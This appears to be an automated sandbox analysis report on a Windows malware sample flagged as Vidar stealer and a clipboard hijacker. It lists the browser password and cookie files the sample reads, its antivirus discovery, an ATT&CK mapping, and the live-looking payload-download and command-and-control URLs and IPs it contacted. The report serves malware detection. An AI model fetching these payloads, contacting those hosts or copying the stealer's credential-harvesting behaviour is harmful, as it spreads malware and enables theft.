Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	4_2_00438423
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: EnumSystemLocalesW,	4_2_004387C8
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: GetLocaleInfoW,	4_2_0043884E
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,__invoke_watson,_LcidFromHexString,GetLocaleInfoW,	4_2_00437BB3
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: EnumSystemLocalesW,	4_2_00437E27
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437E83
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437F00
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00437F83

Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 0_2_00408AF4 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00408AF4

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

1_2_00419F90

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 1_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

1_2_0042FE47

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

1_2_00419F90

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: build2.exe, 00000008.00000002.1967987129.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000913000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.mstsca.exe.8515a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.build3.exe.8115a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.mstsca.exe.8915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.2348561919.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3584250955.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2974032073.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3583753662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.4129162040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2350347697.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2973232719.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2019239112.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1913660685.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1916720423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 8.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.35615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.35615a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1966489860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1787690913.0000000003560000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 7584, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build2.exe PID: 7600, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json	Jump to behavior
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\shield-preference-experiments.json	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\handlers.json	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\Telemetry.FailedProfileLocks.txt	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\z6bny8rn.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Google Profile.ico	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\pkcs11.txt	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\search.json.mozlz4	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db-journal	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\LOG.old	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\containers.json	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\parent.lock	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\SiteSecurityServiceState.txt	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\trusted_vault.pb	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\xulstore.json	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\times.json	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior

Source: Yara match

File source: Process Memory Space: build2.exe PID: 7600, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: 8.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.35615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.35615a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1966489860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1787690913.0000000003560000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 7584, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build2.exe PID: 7600, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Native API	1 Scheduled Task/Job	1 DLL Side-Loading	2 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	211 Process Injection	2 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Services File Permissions Weakness	1 Scheduled Task/Job	1 DLL Side-Loading	NTDS	44 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Services File Permissions Weakness	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	271 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SUwX12D2S6.exe	40%	Virustotal		Browse
SUwX12D2S6.exe	100%	Avira	HEUR/AGEN.1313019
SUwX12D2S6.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	100%	Avira	HEUR/AGEN.1313019
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	100%	Avira	TR/AD.MalwareCrypter.llbpm
C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll	1%	Virustotal		Browse
C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	40%	Virustotal		Browse
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	87%	ReversingLabs	Win32.Trojan.Azorult
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	87%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
sdfjhuz.com	24%	Virustotal		Browse
cajgtus.com	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://cajgtus.com/files/1/build3.exe$run	0%	Avira URL Cloud	safe
https://www.gstatic.cn/recaptcha/	0%	Avira URL Cloud	safe
http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=trueG	0%	Avira URL Cloud	safe
http://schemas.mic	0%	Avira URL Cloud	safe
https://95.217.9.149/sqln.dll5	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exeg	0%	Avira URL Cloud	safe
https://wetransfer.cQ	0%	Avira URL Cloud	safe
https://95.217.9.149/sqln.dllne	0%	Avira URL Cloud	safe
https://95.217.9.149CGCBK	0%	Avira URL Cloud	safe
https://www.gstatic.cn/recaptcha/	0%	Virustotal		Browse
https://s.ytimg.com;	0%	Avira URL Cloud	safe
https://steam.tv/	0%	Avira URL Cloud	safe
https://95.217.9.149a	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exe$run	2%	Virustotal		Browse
https://95.217.9.1490.5938.132	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exe$runinstall020921_delay721_sec.exe0D	0%	Avira URL Cloud	safe
https://recaptcha.net/recaptch	0%	Avira URL Cloud	safe
http://sdfjhuz.com/dl/build2.exe$run	100%	Avira URL Cloud	malware
https://steam.tv/	0%	Virustotal		Browse
http://cajgtus.com/files/1/build3.exe$runinstall020921_delay721_sec.exe0D	10%	Virustotal		Browse
https://lv.queniujq.cn	0%	Avira URL Cloud	safe
https://lv.queniujq.cn	0%	Virustotal		Browse
http://sdfjhuz.com/dl/build2.exe$run	3%	Virustotal		Browse
http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637eAa	0%	Avira URL Cloud	safe
http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true	0%	Avira URL Cloud	safe
https://95.217.9.149/pet	0%	Avira URL Cloud	safe
https://95.217.9.149/	0%	Avira URL Cloud	safe
http://cajgtus.com/test2/get.php	0%	Avira URL Cloud	safe
http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	0%	Avira URL Cloud	safe
https://95.217.9.149	0%	Avira URL Cloud	safe
https://95.217.9.149/hp	0%	Avira URL Cloud	safe
http://cajgtus.com/test2/get.php	14%	Virustotal		Browse
https://recaptcha.net/recaptcha/;	0%	Avira URL Cloud	safe
https://95.217.9.149	4%	Virustotal		Browse
https://recaptcha.net/recaptcha/;	0%	Virustotal		Browse
https://95.217.9.149/	4%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sdfjhuz.com	175.119.10.231	true	true	24%, Virustotal, Browse	unknown
cajgtus.com	189.232.19.193	true	true	4%, Virustotal, Browse	unknown
steamcommunity.com	23.66.133.162	true	false		high
api.2ip.ua	104.21.65.24	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true	true	Avira URL Cloud: safe	unknown
https://95.217.9.149/	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://cajgtus.com/test2/get.php	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://player.vimeo.com	build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/files/1/build3.exe$run	SUwX12D2S6.exe, 00000004.00000002.2244414394.0000000000868000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.mic	SUwX12D2S6.exe, 00000004.00000002.2244414394.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.activity.windows.com/v1/assets	SUwX12D2S6.exe, 00000004.00000003.1783890640.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199673019888	build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=trueG	SUwX12D2S6.exe, 00000004.00000002.2244414394.0000000000828000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=EyWBqDQS-6jg&a	build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/subscriber_agreement/	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonN9	SUwX12D2S6.exe, 00000006.00000002.4130188988.0000000000767000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json$	SUwX12D2S6.exe, 0000000C.00000002.1864655252.0000000000788000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/sqln.dll5	build2.exe, 00000008.00000002.1967987129.0000000000913000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
